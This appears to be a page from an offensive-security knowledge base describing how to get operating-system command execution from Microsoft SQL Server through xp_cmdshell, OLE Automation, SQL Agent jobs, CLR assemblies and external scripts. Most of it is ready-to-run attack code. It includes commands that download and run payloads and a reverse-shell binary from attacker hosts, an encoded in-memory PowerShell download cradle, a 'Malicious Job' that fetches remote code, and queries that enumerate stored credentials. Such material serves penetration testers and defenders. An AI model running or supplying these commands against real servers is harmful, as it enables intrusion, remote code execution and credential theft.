Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 05. SQL / MSSQL

Command Execution

MSSQL command execution is usually reached through xp_cmdshell, OLE Automation, SQL Agent jobs, CLR assemblies, or external scripts.

All OS execution should be immediately followed by:

whoami
hostname

The command runs as the SQL Server service account, SQL Agent service account, proxy credential, or external runtime account depending on the technique.


xp_cmdshell

Use when xp_cmdshell is enabled or we are sysadmin and can enable it.

Check:

SELECT name, value_in_use
FROM sys.configurations
WHERE name='xp_cmdshell';

Enable:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Execute:

EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'ipconfig /all';

Payload delivery:

EXEC xp_cmdshell 'powershell -w hidden -c "iwr http://ATTACKER/p.exe -o C:\Windows\Temp\p.exe"';
EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER/p.exe C:\Windows\Temp\p.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\p.exe';

sqlcmd one-liner:

sqlcmd -S 10.10.10.5 -U sa -P pass -Q "EXEC xp_cmdshell 'whoami';"

OLE Automation Procedures

OLE Automation lets SQL Server interact with COM objects.

Use when OLE Automation is enabled or can be enabled as sysadmin.

Check:

SELECT name, value_in_use
FROM sys.configurations
WHERE name='Ole Automation Procedures';

Enable:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

Command execution:

DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"';

File write:

DECLARE @OLE INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXEC sp_OAMethod @OLE, 'CreateTextFile', NULL, 'C:\pwned.txt', 1;

Command execution with hidden window and wait:

DECLARE @sh INT, @ret INT;
EXEC sp_OACreate 'WScript.Shell', @sh OUT;
EXEC sp_OAMethod @sh, 'Run', @ret OUT, 'cmd.exe /c whoami > C:\ole.txt', 0, TRUE;

Make directory:

DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c mkdir C:\tmp';

Stage binary:

DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'certutil -urlcache -f -split http://10.10.15.219:9999/rev.exe C:\tmp\rev.exe';

Execute staged binary:

DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'C:\tmp\rev.exe';

PowerShell in-memory workflow:

echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.15.219:9999/shell.ps1")' > command.txt
iconv -f utf-8 -t utf-16le command.txt > conv.txt
cat conv.txt | base64 -w0

Execute encoded PowerShell:

DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell OUTPUT;
EXEC sp_OAMethod @objShell, 'run', NULL, 'powershell -e BASE64_BLOB';

SQL Agent Jobs

Use for job-based RCE when xp_cmdshell is disabled and SQL Agent is available.

Jobs are comparable to scheduled tasks. CmdExec and PowerShell job steps can execute OS commands.

Full PowerShell job:

USE msdb;
GO

EXEC sp_add_job
    @job_name = N'Malicious Job';
GO

EXEC sp_add_jobstep
    @job_name = N'Malicious Job',
    @step_name = N'Execute PowerShell Script',
    @subsystem = N'PowerShell',
    @command = N'(New-Object Net.WebClient).DownloadString("http://10.10.14.104/a")|IEX;',
    @retry_attempts = 5,
    @retry_interval = 5;
GO

EXEC sp_add_jobserver
    @job_name = N'Malicious Job';
GO

EXEC sp_start_job
    @job_name = N'Malicious Job';
GO

One-liner job:

EXEC msdb.dbo.sp_add_job @job_name='poc_job';
EXEC msdb.dbo.sp_add_jobstep @job_name='poc_job', @step_name='poc', @subsystem='CMDEXEC', @command='cmd /c whoami > C:\agent.txt';
EXEC msdb.dbo.sp_add_jobserver @job_name='poc_job';
EXEC msdb.dbo.sp_start_job @job_name='poc_job';

Enumerate Agent credentials, proxies, and jobs:

SELECT * FROM msdb.dbo.syscredentials;
SELECT p.proxy_id, p.name, c.name
FROM msdb.dbo.sysproxies p
LEFT JOIN msdb.dbo.syscredentials c ON p.credential_id=c.credential_id;

SELECT j.job_id, j.name, s.step_id, s.subsystem, s.command
FROM msdb.dbo.sysjobs j
JOIN msdb.dbo.sysjobsteps s ON j.job_id=s.job_id;

Cleanup:

EXEC msdb.dbo.sp_delete_job @job_name='poc_job';
EXEC msdb.dbo.sp_delete_job @job_name='Malicious Job';

CLR RCE

Use when CLR is enabled, unsafe assemblies are permitted, or TRUSTWORTHY database escalation applies.

Check:

SELECT name, value_in_use
FROM sys.configurations
WHERE name='clr enabled';

C# assembly:

using System;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
public class CLRExec {
  [SqlProcedure]
  public static void RunCmd(SqlString cmd) {
    System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
  }
}

Compile:

csc.exe /target:library /out:C:\CLRExec.dll C:\CLRExec.cs

Import and execute:

CREATE ASSEMBLY myexec FROM 'C:\CLRExec.dll' WITH PERMISSION_SET=UNSAFE;
CREATE PROCEDURE sp_cmd @cmd NVARCHAR(MAX) AS EXTERNAL NAME myexec.[CLRExec].RunCmd;
EXEC sp_cmd 'whoami';

Cleanup:

DROP PROCEDURE IF EXISTS dbo.sp_cmd;
DROP ASSEMBLY IF EXISTS myexec;

External Scripts

Use when external scripts are enabled and Python/R runtimes are installed.

Check:

SELECT name, value_in_use
FROM sys.configurations
WHERE name='external scripts enabled';

Python command execution:

EXEC sp_execute_external_script
  @language=N'Python',
  @script=N'import os;print(os.popen("whoami").read())';

External script execution depends on installed runtime, launchpad service configuration, and permissions.